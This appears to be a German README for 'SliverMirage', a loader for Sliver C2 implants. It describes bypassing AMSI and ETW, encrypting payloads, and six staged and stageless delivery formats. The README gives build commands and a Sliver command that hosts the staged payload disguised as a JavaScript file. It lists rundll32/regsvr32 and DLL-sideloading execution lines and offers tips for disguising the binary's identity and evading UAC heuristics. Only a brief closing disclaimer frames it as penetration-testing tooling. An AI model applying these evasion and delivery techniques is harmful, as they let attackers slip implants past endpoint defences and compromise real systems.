
Crystal Palace PICO Loader für Sliver C2 Dual-Layer-AMSI-Bypass, ETW-Silencing, mit AES-256-CBC verschlüsselte Payloads, 6 Zustellungsvarianten
Ein Fork von CrystalSliver, der den Crystal Palace PICO-Loader um einen zweischichtigen AMSI-Bypass, ETW-Silencing und sechs Auslieferungsvarianten für Sliver C2 erweitert.
SliverMirage verpackt eine Sliver-Implant-DLL über die PICO-Virtualisierung von Crystal Palace und liefert sie über einen Loader aus, der AMSI und ETW umgeht, ohne amsi.dll oder ntdll.dll zu patchen.
Evasion-Stack:
| Ebene | Technik | Detail |
|---|
| AMSI L1 | CLR-String-Korruption | LdrRegisterDllNotification fängt das Laden von clr.dll ab, korrumpiert AmsiScanBuffer in .rdata, bevor die CLR GetProcAddress aufruft |
| AMSI L2 | VEH + HWBP | Vectored-Exception-Handler auf AmsiScanBuffer gibt E_INVALIDARG zurück |
| ETW | HWBP | DR1 auf NtTraceControl, gibt STATUS_SUCCESS zurück |
| Payload | AES-256-CBC + XOR | BCrypt-Entschlüsselung, VirtualAlloc(RW) -> VirtualProtect(RX), kein RWX |
| Virtualisierung | Crystal Palace PICO | Die Sliver-DLL läuft in einem PICO-Prozess, unsichtbar für AV im Userland |
| Format | Datei | Auslieferung | C2 zur Laufzeit? |
|---|---|---|---|
exe | Staged EXE | EXE + payload.dat auf der C2-Website | Ja (HTTPS) |
exe-stageless | Stageless EXE | Nur EXE | Nein |
dll | Stageless DLL | Nur DLL | Nein |
dll-staged | Staged DLL | DLL + payload.dat auf der C2-Website | Ja (HTTPS) |
shellcode | Staged Shellcode | .bin + payload.dat | Ja (HTTPS) |
shellcode-stageless | Stageless Shellcode | Nur .bin | Nein |
Staged-Varianten laden das verschlüsselte PICO zur Laufzeit von einer Sliver-HTTPS-Website herunter. Die EXE/DLL ist klein (~20 KB) und trägt keinen Payload auf der Festplatte.
Stageless-Varianten betten das verschlüsselte PICO zur Kompilierzeit ein (XOR + AES-Doppelschicht). Größer auf der Festplatte, aber keinerlei Netzwerkaktivität vor dem Beacon-Callback.
x86_64-w64-mingw32-gcc (mingw-w64)nasmpython3 mit pefile (pip install pefile)opensslbuild.sh automatisch bereitgestellt)Das Build-Skript stellt fehlende Abhängigkeiten automatisch bereit (einschließlich Crystal Palace und Java 17) und übernimmt die gesamte Pipeline: DLL -> Crystal Palace PICO -> verschlüsseln -> kompilieren.
# Staged EXE (default)
./build.sh --dll /path/to/sliver_implant.dll --host 10.0.0.1
# Stageless EXE
./build.sh --dll /path/to/sliver_implant.dll --format exe-stageless
# Stageless DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll
# Staged DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll-staged --host 10.0.0.1
# Shellcode (staged)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode --host 10.0.0.1
# Shellcode (stageless)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode-stageless
Optionen:
--dll <path> — Sliver-Implant-DLL (erforderlich)--host <ip> — C2-Server-IP (erforderlich für Staged-Formate)--port <port> — C2-Port (Standard: 443)--path <path> — URL-Pfad für den Payload-Download (Standard: /assets/js/vendor.js)--format <fmt> — Ausgabeformat (Standard: exe)--export <name> — Benutzerdefinierter DLL-ExportnameFalls du bereits einen Crystal Palace PICO-Blob hast:
# Staged EXE
make PICO=/path/to/implant.crystal.bin C2_HOST=10.0.0.1
# Stageless EXE
make exe-stageless PICO=/path/to/implant.crystal.bin
# Stageless DLL
make dll PICO=/path/to/implant.crystal.bin
# All targets
make clean
Lade build/payload.dat auf eine Sliver-HTTPS-Website hoch:
sliver > websites add-content --website cover \
--web-path /assets/js/vendor.js \
--content-type application/javascript \
--content build/payload.dat
Liefere build/csvchelper.exe (oder .dll) an das Ziel aus.
Einzeldatei-Auslieferung. Keine Einrichtung einer C2-Website erforderlich.
rundll32 csvchelper.dll,StartW
regsvr32 /s csvchelper.dll
Oder nutze DLL-Sideloading (benenne die Datei so um, dass sie einer legitimen DLL entspricht, die die Zielanwendung lädt).
Exporte: DllRegisterServer, DllUnregisterServer, StartW, VoidFunc
SliverMirage/
loader/ # Crystal Palace PICO loader (from CrystalSliver)
src/ # Loader C sources + draugr ASM
loader.spec # Crystal Palace linker spec
pico.spec # PICO generation spec
src/
stager_remote.c # Staged EXE
stager_stageless.c # Stageless EXE
stager_remote_dll.c # Staged DLL
stager_stageless_dll.c # Stageless DLL
stager_debug.c # Debug EXE (MessageBox diagnostics)
scripts/
gen_payload.py # AES-256-CBC encrypt (staged)
gen_payload_stageless.py # AES + XOR embed (stageless)
dll_to_shellcode.py # sRDI DLL-to-shellcode converter
resources/
resource.rc # Version info (EXE)
resource_dll.rc # Version info (DLL)
manifest.xml # asInvoker manifest
libtcg.x64.zip # TCG library for Crystal Palace
Makefile
build.sh
kernel32, advapi32, bcrypt — alles legitime Windows-APIsVirtualProtect auf System-DLLsWinMain-Einstiegspunkt, -mwindows — kein kurzes Aufblitzen der KonsoleasInvoker-Manifest unterdrückt UAC-Heuristikenresource.rc / resource_dll.rc vor dem Build mit deiner Tarnidentität anDieses Projekt ist ausschließlich für autorisierte Sicherheitstests, Forschung und Bildungszwecke bestimmt. Verwende es ausschließlich in Umgebungen, in denen du eine ausdrückliche schriftliche Genehmigung zur Durchführung von Penetrationstests besitzt. Unbefugter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Haftung für Missbrauch dieser Software.
MIT